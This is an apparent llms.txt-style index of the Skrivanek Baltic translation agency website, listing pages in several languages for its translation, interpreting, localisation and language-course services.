# Skrivanek Baltic > Jūsu tulkošanas birojs un mācību centrs - Skrivanek --- ## Lapas - [Balss ieraksti mākslīgā intelekta apmācībai](https://skrivanek.lv/balss-ieraksti-maksliga-intelekta-apmacibai/): Profesionāli balss ieraksti mākslīgā intelekta apmācībai vairāk nekā 110 valodās. Dzimtās valodas runātāji, precizitāte un pielāgošana. - [Latviešu valodas padomu saraksts](https://skrivanek.lv/latviesu-valodas-padomu-saraksts/): Aplūko pilnu mūsu sagatavoto latviešu valodas padomu sarakstu vienuviet. Meklē sev nepieciešamo un ziņo, ja gribi uzzināt vēl citus padomus. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Skrivanek vērtība ir atbildība pret klientu. Esam saņēmuši ISO 13485:2016 sertifikātu par kvalitātes vadību medicīnisko ierīču nozarē. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Skrivanek values responsibility towards the client. We have obtained the ISO 13485:2016 certification for quality management in the medical device industry. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Skrivaneki jaoks on väärtuseks vastutus kliendi ees. Oleme saanud ISO 13485:2016 sertifikaadi meditsiiniseadmete valdkonna kvaliteedijuhtimise eest. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Skrivanekin arvo on vastuu asiakasta kohtaan. Olemme saaneet ISO 13485:2016 -sertifikaatin laadunhallinnasta lääkinnällisten laitteiden alalla. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Für Skrivanek ist Verantwortung gegenüber dem Kunden ein zentraler Wert. Wir haben die ISO 13485:2016-Zertifizierung für Qualitätsmanagement in der Medizingerätebranche erhalten. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Per Skrivanek il valore fondamentale è la responsabilità verso il cliente. Abbiamo ottenuto la certificazione ISO 13485:2016 per la gestione della qualità nel settore dei dispositivi medici. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Skrivanek vertybė – atsakomybė klientui. Esame gavę ISO 13485:2016 sertifikatą už kokybės vadybą medicinos prietaisų srityje. - [ISO 13485:2016](https://skrivanek.lv/iso-13485/): Для Skrivanek ценностью является ответственность перед клиентом. Мы получили сертификат ISO 13485:2016 за систему менеджмента качества в сфере медицинских изделий. - [Diplomu tulkošana | Izglītības dokumentu tulkojumi](https://skrivanek.lv/diplomu-tulkosana/): Profesionāli un notariāli apstiprināti diplomu un izglītības dokumentu tulkojumi vairāk nekā 110 valodās. Ātra izpilde un garantēta kvalitāte - [Teksta saprotamības audits](https://skrivanek.lv/teksta-saprotamibas-audits/): "Teksta saprotamības audits, nodrošinot atbilstību Piekļūstamības direktīvai – novērtējam un uzlabojam tekstu skaidrību un pieejamību. - [Tīmekļvietņu un mobīlo lietotņu pielāgošana atbilstoši Tīmekļvietņu piekļūstamības vadlīnijām](https://skrivanek.lv/timeklvietnu-pielagosana-timeklvietnu-pieklustamibas-vadlinijam/): Tīmekļvietnu un mobilo lietotņu pielāgošana atbilstoši WCAG vadlīnijām! Nodrošinām piekļūstamības auditus, daudzvalodu optimizāciju, subtitrus - [Darbnīca "Latviešu valodas transformācija mūsdienu diskursā"](https://skrivanek.lv/darbnica-latviesu-valodas-transformacija-musdienu-diskursa/): Izpratīsim latviešu valodas transformāciju mūsdienu diskursā! Darbnīca uzņēmumiem par politkorektās valodas nozīmi un sociālo mediju ietekmi. - [Translations into Japanese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-japanu-valoda/): We translate and interpret texts into Japanese. We’re quick – free quotes available in only 15 minutes! Contact us! - [Skrivanek](https://skrivanek.lv/de/skrivanek/) - [Übersetzung](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Seit mehr als 30 Jahren auf dem Markt! Wir übersetzen Dokumente nahezu jeder Art und jedes Formats. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - [Übersetzungstools](https://skrivanek.lv/pakalpojumi/tulkosanas-riki/): Übersetzungstools (CAT) sind spezielle Software für Übersetzer, die Qualität und Produktivität verbessern sollen. Lesen Sie mehr über die Vorteile von Übersetzungstools! - [Google Ads und SEO-Übersetzungen](https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/): Wir lokalisieren Ihre Webseite nach SEO-Grundsätzen und passen sie an GoogleAds an, damit alle Ihre potenziellen Kunden Sie leichter finden können! - [Maschinelle Übersetzung für Unternehmen](https://skrivanek.lv/masintulkosana-uznemumiem/): Skrivanek NMT wurde auf der Grundlage der 25-jährigen Erfahrung und des Fachwissens des Skrivanek-Teams in der Übersetzungsbranche entwickelt. - [Übersetzungskosten](https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/): Schicken Sie uns Ihre Dokumente und wir werden Ihnen vor Beginn der Übersetzung einen Kostenvoranschlag für die Dienstleistung unterbreiten. - [Notariell beglaubigte Übersetzung](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/): Notariell beglaubigte Übersetzungen. Die Dokumente werden von einem vereidigten Notar beglaubigt, ein vereidigter Übersetzer übernimmt die volle Verantwortung für die Übersetzungen. - [E-Commerce - die Übersetzung und Lokalisierung von Online-Shops](https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/): Möchten Sie Ihre Produkte und Dienstleistungen an ausländische Kunden vermarkten? Wir bieten die Übersetzung und Lokalisierung von Online-Shops in über 110 Sprachen an. - [Technische Übersetzung](https://skrivanek.lv/tehniska-tulkosana/): Professionelle Übersetzungen von technischen Unterlagen, Geräteanleitungen und Software unter Berücksichtigung der Fachterminologie. - [Beratung für Sprache und interkultureller Kommunikation](https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/): Der erste Eindruck von Ihnen und Ihres Unternehmen gibt meistens den Ton für alles Weitere an. Buchen Sie jetzt eine Beratung für Sprache und interkultureller Kommunikation. - [Legalisierung von Dokumenten mit einer Apostille](https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/): Benötigen Sie eine Beglaubigung / Legalisierung von Dokumenten mit Apostille? Kontaktieren Sie uns und erhalten Sie innerhalb 30 Minuten ein kostenloses Angebot! 🕒 - [Textanpassung und kreatives Copywriting](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Machen Sie Gebrauch von Skrivaneks Textanpassung und Copywriting. Ändern Sie Ihre Inhalte und ziehen Sie Ihr Publikum in Ihren Bann. Ihre Worte, unser Handwerk. - [Kreatives Copywriting](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Erfahren Sie mehr über die Copywriting Dienstleistung von Skrivanek. Ändern Sie Ihre Inhalte und ziehen Sie Ihr Publikum in Ihren Bann. Ihre Worte, unser Handwerk. - [Vielen Dank für Ihre Anfrage](https://skrivanek.lv/paldies-par-pieprasijumu/): Vielen Dank, dass... - [Sprachcodes](https://skrivanek.lv/valodu-kodi/): Die ISO 639-1 Sprachcodes stehen für die wichtigsten Weltsprachen. Die Codes werden durch Infoterm (Internationales Informationszentrum für Terminologie) zugewiesen. - [Lokalisierung von E-Learning-Inhalten und -Dienstleistungen](https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/): Lokalisieren Sie Ihren Lerninhalt oder Ihre elektronische Dienstleistung in mindestens einige der am häufigsten gesprochenen Sprachen der Welt oder Ihrer Region! - [Lokalisierung von digitalen Marketinginhalten](https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/): Übersetzung und Lokalisierung von digitalen Marketinginhalten Keyword Recherche zur SEO-Optimierung. Erhalten Sie jetzt ein kostenfreies Angebot! - [Militärische Übersetzungen und Militärdolmetscher](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): Wir haben große Erfahrung in der Übersetzung militärischer Texte für Streitkräfte und die Rüstungsindustrie. - [Versicherung](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Fachübersetzungen, notariell beglaubigte Übersetzungen, Dolmetscherdienste und Sprachunterricht. Erfahren Sie mehr! - [Bauwesen](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Qualitative Dienstleistungen für das Bauwesen: Übersetzung, Dolmetschen, notarielle Beglaubigung. Lokalisierung und Sprachunterricht Erfahren Sie mehr! - [Finanzen und Bankwesen](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Qualitative Dienstleistungen für das Finanz- und Bankwesen: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen und Sprachunterricht. - [Personalwesen](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Qualitative Dienstleistungen im Personalwesen: Übersetzen, Dolmetschen. Lokalisierung und Sprachunterricht Erfahren Sie mehr! - [IT und Gaming](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Sprachdienstleistungen für die IT- und Gaming-Branche: Übersetzen, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - [Recht](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Erstklassige Sprachdienstleistungen für die Rechtsbranche: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen und Sprachkurse. - [Land- und Forstwirtschaft](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Qualitative Sprachdienstleistungen für die Land- und Forstwirtschaft: Übersetzungen, Dolmetschen, notarielle Beglaubigungen. Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - [Branchen](https://skrivanek.lv/tulkosanas-nozares/): Unsere Übersetzer haben Fachkompetenz in den Bereichen Medizin, Recht, Ingenieurwesen und anderen Fachgebieten.️ - [Sprachen](https://skrivanek.lv/?page_id=5): Übersetzungen, Dolmetschen und andere Sprachdienstleistungen in allen wichtigen Sprachkombinationen in Europa. Schreiben Sie eine E-Mail an: birojs@skrivanek.lv - [Englische Sprache](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): Allgemeine und fachspezifische Übersetzungen in Englisch. Notariell beglaubigte Übersetzungen. Dolmetscherdienste und andere Dienstleistungen für die englische Sprache. - [Übersetzungsumfeld und -integration](https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/): Die aktuellsten Entwicklungen in der Sprachtechnologie für Umfeld und Integration eignen sich ideal für große Projekte mit mehrsprachigem Inhalt. - [Transkriptions-/Transliterationsdienste](https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/): Bei Skrivanek bieten wir Ihnen professionelle Transkriptions- und Transliterationsdienste an, die gesprochene Sprache aus Audio-/Videoaufnahmen in mehr als 110 Sprachen in geschriebene Sprache umwandeln. - [OCR - Optical Character Recognition (optische Zeichenerkennung)](https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/): Skrivanek garantiert Ihnen, dass die Dokumente richtig gescannt und anschließend in die gewünschte Zielsprache übersetzt werden. - [Lokalisierung von Videospielen](https://skrivanek.lv/videospelu-lokalizacija/): Um ein möglichst breites Publikum für Videospiele zu erreichen, spielt eine erfolgreiche Lokalisierung eine große Rolle. - [Einfache und leichte Sprache](https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/): Erfahren Sie, was einfache und leichte Sprache zu bieten haben. Aus komplexen und schwer verständlichen Texten werden leichte und einfache Texte. Kontakt! - [Korrekturlesen/Überarbeitung von KI-generierten Marketingtexten](https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/): Unsere Experten sind davon überzeugt, dass für erfolgreiche Geschäftsergebnisse und eine effektive Marketingkommunikation im Ausland die Unterstützung von Spezialisten notwendig ist. - [Grammatikalische und stilistische Textverbesserungen](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Verbessern Sie Ihre Inhalte mit unseren Korrekturlesern und unseren stilistischen Dienstleistungen. Unsere Muttersprachler sorgen für Verständnis und Präzision. 🚀 - [Virtueller Assistent](https://skrivanek.lv/pakalpojumi/virtualais-asistents/): Machen Sie Gebrauch von den Chatbot-Diensten von Skrivanek. Ihre Kunden können somit rund um die Uhr beraten werden. Nehmen Sie noch heute Kontakt auf! - [Videoüberwachung](https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/): Skrivanek ist ein Sprachunternehmen mit über 25 Jahren Erfahrung - professionelle und qualitativ hochwertige Sprachdienstleistungen für Unternehmen und Privatpersonen. - [Dienstleistungen](https://skrivanek.lv/pakalpojumi/): Wir unterstützen Sie auf Ihrem Weg zum Erfolg: Übersetzung, Dolmetschen, Lokalisierung, Sprachunterricht usw. Mehr als 25 Jahre Erfahrung. - [Kontakt](https://skrivanek.lv/kontakti/): Bei Fragen oder einen kostenlosen Kostenvoranschlag können Sie unser Kontaktformular ausfüllen! Lāčplēša 87C, Riga | birojs@skrivanek.lv - [FAQ](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Häufig gestellte Fragen und Antworten über Skrivanek Baltic Ihre Frage konnte nicht beantwortet werden? Kontaktieren Sie uns! - [Werbung und Marketing](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Sprachdienstleistungen für die Werbe- und Marketingbranche: Übersetzung, Dolmetschen, notarielle Beglaubigung. Lokalisierung und Sprachunterricht. - [Skrivanek Baltic](https://skrivanek.lv/): Ein Sprachdienstleister mit mehr als 30 Jahren Erfahrung: professionelle Sprachdienstleistungen für Unternehmen und Privatpersonen. - [Dolmetschen](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Professionelle Dolmetscherdienste bei Konferenzen, Geschäftstreffen, Verhandlungen, Gerichtsverhandlungen usw. Einheimische und ausländische Dolmetscher. - [Maschinenbau und Bahnwesen](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Qualitative Dienstleistungen für Maschinenbau und Bahnwesen: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen, Lokalisierung und Sprachunterricht. - [Medizin und klinische Studien](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Maßgeschneiderte, qualitativ hochwertige Dienstleistungen für Medizinbranche: Übersetzen, Dolmetschen, notariell beglaubigte Übersetzungen, Lokalisierung und Sprachunterricht. - [Produktion](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Qualitative Dienstleistungen für das verarbeitende Gewerbe: Übersetzung, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - [Tourismus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Hochwertige Sprachdienstleistungen für die Tourismusbranche: Übersetzung, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - [Staatliche und kommunale Einrichtungen](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Sprachdienstleistungen für staatliche und kommunale Einrichtungen: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen und Sprachunterricht. - [Handel](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Qualitativ hochwertige Sprachdienstleistungen für die Handelsbranche: Übersetzung, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - [Lokalisierung](https://skrivanek.lv/pakalpojumi/lokalizacija/): Wir liefern nicht nur Übersetzungen, sondern sorgen auch dafür, dass die lokalisierten Produkte und die Software gut funktionieren. - [Andere Sprachen](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/): Übersetzungen, Dolmetschen und andere Sprachdienstleistungen in den gängigsten europäischen Sprachkombinationen. Erhalten Sie ein unverbindliches und kostenloses Angebot! - [Sprachunterricht](https://skrivanek.lv/pakalpojumi/valodu-kursi/): Lernen Sie Sprachen schnell und effizient in der Skrivanek Sprachenschule Hochqualifizierte einheimische und ausländische Lehrer. Erfahren Sie mehr! - [Allgemeine Geschäftsbedingungen](https://skrivanek.lv/komercnoteikumi/): Skrivanek ist ein Sprachdienstleister mit über 25 Jahren Erfahrung: professionelle Sprachdienstleistungen für Unternehmen und Privatpersonen. - [Qualität und Sicherheit](https://skrivanek.lv/kvalitate-un-drosiba/): Um die Qualität der Dienstleistungen zu erhöhen und die Sicherheitsmaßnahmen zu verbessern, hat Skrivanek eine Reihe von Managementsystemen eingeführt. - [Wer sind wir?](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): Hochwertige Sprachdienstleistungen für Unternehmen und Privatpersonen. Einer der größten Sprachdienstleister der Welt. Erfahren Sie mehr! - [Die Verwendung von Cookies](https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/): Einige Fragen und Antworten: Was sind Cookies? Wozu dienen Cookies auf unserer Website? Wie können Sie die Verwendung von Cookies ändern? - [Lettisch lernen](https://skrivanek.lv/de/dienstleistungen/sprachunterricht/lettisch-lernen/): Lettischkurse für Privatpersonen und Unternehmen. Lernen Sie Lettisch vor Ort oder online. Ausgebildete Lehrer. Effiziente Lernmethoden. - [Verhaltenskodex](https://skrivanek.lv/etikas-kodekss/): Die Grundsätze der Berufsethik und des Verhaltens des baltischen Sprachdienstleisters Skrivanek sind auch für unsere Kooperationspartner verbindlich. - [Karriere](https://skrivanek.lv/karjera/): Informieren Sie sich über unsere derzeit offenen Stellen Lesen Sie unsere Anforderungen und Bedingungen für die Zusammenarbeit, um mehr über unser Einstellungsverfahren zu erfahren. - [Kooperationspartner](https://skrivanek.lv/sadarbibas-partneri/): Das Übersetzungsbüro Skrivanek Baltic ist Mitglied in verschiedenen Organisationen. Erfahren Sie mehr! - [Spanisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): Allgemeine und fachspezifische Übersetzungen, notariell beglaubigte Übersetzungen, Dolmetschen, Lokalisierung und andere Sprachdienstleistungen fürs Spanische. - [Deutsch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Allgemeine und Fachübersetzungen, notariell beglaubigte Übersetzungen, Dolmetschen, Sprachkurse und Sprachdienstleistungen für die deutsche Sprache. - [Datenschutzbestimmungen](https://skrivanek.lv/privatuma-politika/): Datenschutzbestimmungen des internationalen Sprachdienstleisters Skrivanek Baltic Datenschutzbeauftragter Uldis Krūmiņš, E-Mail: dpo@skrivanek.lv. - [Russisch lernen](https://skrivanek.lv/de/dienstleistungen/sprachunterricht/russisch-lernen/): Russischunterricht für Privatpersonen und Unternehmen. Vor Ort oder online. Effiziente Lernmethoden. Ausgebildete Lehrer. Erfahren Sie mehr! - [Tschechisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/): Allgemeine und fachspezifische Übersetzungen in tschechischer Sprache, Dolmetscherdienste. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - [Griechisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Fachspezifische und allgemeine Übersetzungen in griechischer Sprache. Dolmetscherdienste und andere Dienstleistungen für die griechische Sprache. - [Norwegisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): Allgemeine und fachspezifische Übersetzungen in norwegischer Sprache. Dolmetschen, Lokalisierung und andere Sprachdienstleistungen für die norwegische Sprache. - [Finnisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/): Allgemeine und fachspezifische Übersetzungen in finnischer Sprache. Dolmetscherdienste und individueller Sprachunterricht in finnischer Sprache. - [Schwedisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): Allgemeine und fachspezifische Übersetzungen, notariell beglaubigte Übersetzungen, Dolmetschen, Lokalisierung und Sprachkurse für Schwedisch. - [Estnisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): Allgemeine und fachspezifische Übersetzungen in Estnisch. Dolmetschen und andere Sprachdienstleistungen in Estnisch. Erhalten Sie ein kostenfreies Angebot! - [Sonderangebote](https://skrivanek.lv/ipasie-piedavajumi/): Sparen Sie auf professionelle Übersetzungen, Dolmetscherdienste und Sprachkurse mit Skrivanek Baltics Sonderangeboten. - [Danke für Ihre Anfrage B2B](https://skrivanek.lv/paldies-par-pieprasijumu-b2b/): Vielen Dank, dass... - [Konsekutivdolmetschen](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/): Konsekutivdolmetschdienste in über 40 Sprachen für alle Geschäfts- und Lebenssituationen. Einheimische und ausländische Dolmetscher. Kontaktieren Sie uns! - [Whistleblowing](https://skrivanek.lv/trauksmes-celsana/): Ansprechpartnerin bei der Skrivanek Baltikum GmbH in Sachen Whistleblowing ist Jeļena Lapoška, die Leiterin der Verwaltungsabteilung. - [Simultandolmetschen](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/): Simultandolmetschen bei Konferenzen, Tagungen und anderen Veranstaltungen in über 40 Sprachen. Wir vermieten unsere Dolmetscherausrüstung! - [Desktop-Publishing](https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/): Unser Fachpersonal kümmert sich um die grafische Gestaltung Ihres Textes, damit er dem Original entspricht. Umfassende Textverarbeitung vor dem Druck. - [Organisieren und Dolmetschen von Online-Veranstaltungen](https://skrivanek.lv/tiessaistes-pasakumu-rikosana/): Müssen Sie eine virtuelle Konferenz, bei der die Teilnehmer mehrere Fremdsprachen sprechen? Unsere Fachleute werden Ihnen helfen! - [Konferenzdolmetschen](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/): Professionelles Dolmetschen ist der Schlüssel für eine absolut erfolgreiche Konferenz! Konferenzdolmetschen und Organisation. Kontaktieren Sie uns! - [Blog](https://skrivanek.lv/blogs/): In unserem spannenden Blog erfahren Sie alles über moderne Übersetzungsdienste, den Wandel der Sprachindustrie und Technik. - [Gerichtsdolmetschen](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/): Wir bieten Dolmetschen bei Gerichtsverhandlungen an. Unsere Dolmetscher sind erfahren und mit der juristischen Terminologie bestens vertraut. Kontaktieren Sie uns! - [Dänisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Allgemeine und fachspezifische Übersetzungen in dänischer Sprache. Dolmetschen und andere Dienstleistungen für die dänische Sprache. Kontaktieren Sie uns! - [Litauisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): Allgemeine und fachspezifische Übersetzungen, notariell beglaubigte Übersetzungen in litauischer Sprache. Dolmetschen und andere Sprachdienstleistungen für Litauisch. - [Polnisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): Allgemeine und fachspezifische Übersetzungen, Dolmetschen, Lokalisierung und andere polnische Sprachdienstleistungen. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - [Russisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/): Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen, Dolmetschen, Lokalisierungen. Russische Sprachkurse. - [Italienisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen in italienischer Sprache. Dolmetscherdienste und Italienischkurse. - [Französisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen, Dolmetschen und andere Dienste für die französische Sprache. - [Lettisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/): Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen und Dolmetscherdienste. Lettische Sprachkurse. Mehr als 25 Jahre Erfahrung! - [Kroatisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/): Allgemeine und fachspezifische Übersetzungen in kroatischer Sprache. Dolmetschen und Sprachdienstleistungen für die kroatische Sprache. Erhalten Sie ein kostenloses Angebot in 15 Minuten! - [Rumänisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/): Allgemeine und fachspezifische Übersetzungen, Dolmetschen, Lokalisierung und andere Sprachdienstleistungen auf Rumänisch. Erhalten Sie ein unverbindliches und kostenloses Angebot! - [Usbekisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/): Allgemeine und fachspezifische Übersetzungen in usbekischer Sprache, Dolmetschen, Lokalisierung und andere usbekische Sprachdienstleistungen. - [Slowenisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/): Allgemeine und fachspezifische Übersetzungen, Dolmetschen, Lokalisierung und andere Sprachdienstleistungen für Slowenisch. Erhalten Sie ein unverbindliches und kostenloses Angebot! - [Arabisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/): Allgemeine und fachspezifische Übersetzungen in Arabisch. Dolmetscher für Arabisch, individuelle Sprachkurse. Kontaktieren Sie uns! - [Armenisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/): Allgemeine und fachspezifische Übersetzungen in Armenisch. Dolmetscherdienste und andere Sprachdienstleistungen für Armenisch. - [Übersetzungen ins Hebräische](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/): Allgemeine und fachspezifische Übersetzungen, Dolmetschen und andere Sprachdienstleistungen in hebräischer Sprache. Erhalten Sie ein unverbindliches und kostenloses Angebot! - [Ukrainisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/): Allgemeine, fachliche und notariell beglaubigte Übersetzungen, Dolmetscherdienste und andere Sprachdienstleistungen für das Ukrainische. - [Albanisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/): Übersetzung von Dokumenten in die albanische Sprache. Dolmetscherdienste und viele weitere verschiedene albanische Sprachdienstleistungen! Erhalten Sie ein unverbindliches und kostenloses Angebot! - [Niederländisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/): Übersetzungen und andere Sprachdienstleistungen in niederländischer Sprache. Mehr als 25 Jahre Erfahrung. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - [Belarussisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/): Übersetzungen und andere Sprachdienstleistungen in die belarussische Sprache. Mehr als 25 Jahre Erfahrung. Erhalten Sie ein kostenloses Angebot innerhalb von 25 Minuten! - [Türkisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/): Allgemeine und Fachübersetzungen, Dolmetschen, Lokalisierung und andere türkische Sprachdienstleistungen. Erhalten Sie ein unverbindliches und kostenloses Angebot! - [Isländisch](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/): Allgemeine und Fachübersetzungen in die isländische Sprache. Dolmetschen und andere Sprachdienstleistungen in isländischer Sprache. - [Professionelle Übersetzungsdienste vom Russischen ins Englisch und umgekehrt für Unternehmen und Privatpersonen](https://skrivanek.lv/de/professional-russian-to-english-and-english-to-russian-translation-services-for-businesses-and-individuals/): Unsere erfahrenen Übersetzer bieten professionelle Übersetzungsdienste für Texte ins Russische und vom Russischen ins Englische für Unternehmen und Privatpersonen. - [Professionelle Übersetzungsdienste aus dem Lettischen ins Englische und aus dem Englischen ins Lettische](https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/): Sie suchen eine professionelle Lettisch-Englisch/ Englisch-Lettisch-Übersetzung? Wählen Sie Skrivanek. Hochwertige Ergebnisse! - [Korrekturleser für die deutsche Sprache](https://skrivanek.lv/de/korrekturleser-fuer-die-deutsche-sprache/): Skrivanek Baltic sucht erfahrene deutsche Korrekturleser. Bewerben Sie sich jetzt und werden Sie Teil eines internationalen Übersetzungsteams! - [Übersetzungen ins Portugiesische](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/): Dokumentenübersetzungen, Dolmetschen, Sprachkurse und andere Sprachdienstleistungen in Portugiesisch. Erfahren Sie mehr! - [Bezmaksas tulkotājs](https://skrivanek.lv/bezmaksas-tulkotajs/): Piedāvājam iespēju pārtulkot tekstu līdz 1500 rakstzīmēm ar bezmaksas tulkotāja iespēju. Kvalitāte var būt mainīga, par kvalitāti neatbildam. - [Переводы в Даугавпилсе](https://skrivanek.lv/pakalpojumi/tulkojumi-daugavpili/): Сэкономьте время и деньги – закажите языковые услуги онлайн! Свяжитесь с нами, и мы подготовим языковое решение, подходящее именно для вас! - [Переводы в Лиепае](https://skrivanek.lv/pakalpojumi/tulkojumi-liepaja/): Сэкономьте время и деньги, заказав языковые услуги онлайн! Свяжитесь с нами! Мы подготовим предложение, подходящее именно для вас! - [Изучение латышского 